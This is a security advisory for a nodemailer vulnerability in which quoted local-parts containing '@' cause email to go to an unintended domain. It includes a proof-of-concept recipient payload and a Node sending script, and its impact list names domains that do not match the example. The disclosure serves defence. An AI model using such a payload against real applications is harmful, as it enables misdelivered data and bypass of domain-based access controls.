Packages / nodemailer / Security

ModerateVulnerabilityGHSA-mm7p-fcc7-pg87CVE-2025-13033Published 7 Oct 2025

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

Your version

Affected releases · nodemailer

  • 7.x7.0.0 – 7.0.6Fixed in 7.0.7
  • 6.x and older0.1.1 – 6.10.1No fix, no longer updated

On 7.x, the newest line:

npm install nodemailer@7.0.7
Every release on a timeline
10.x
  1. Not affected

    10.0.0 – 10.2.1

    27 releases, latest

7.x
  1. Affected

    7.0.0 – 7.0.6

    7 releases

  2. Fixed

    7.0.7 – 7.0.13

    6 releases

6.x
  1. Affected

    6.0.0 – 6.10.1

    60 releases

5.x
  1. Affected

    5.0.0 – 5.1.1

    4 releases

4.x
  1. Affected

    4.0.0 – 4.7.0

    23 releases

3.x
  1. Affected

    3.0.0 – 3.1.8

    12 releases

2.x
  1. Affected

    2.0.0 – 2.7.2

    19 releases

1.x
  1. Affected

    1.0.0 – 1.11.0

    24 releases

0.x
  1. Affected

    0.1.1 – 0.7.1

    102 releases

305 stable releases of nodemailer, oldest to newest, one row per major.

What happens

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.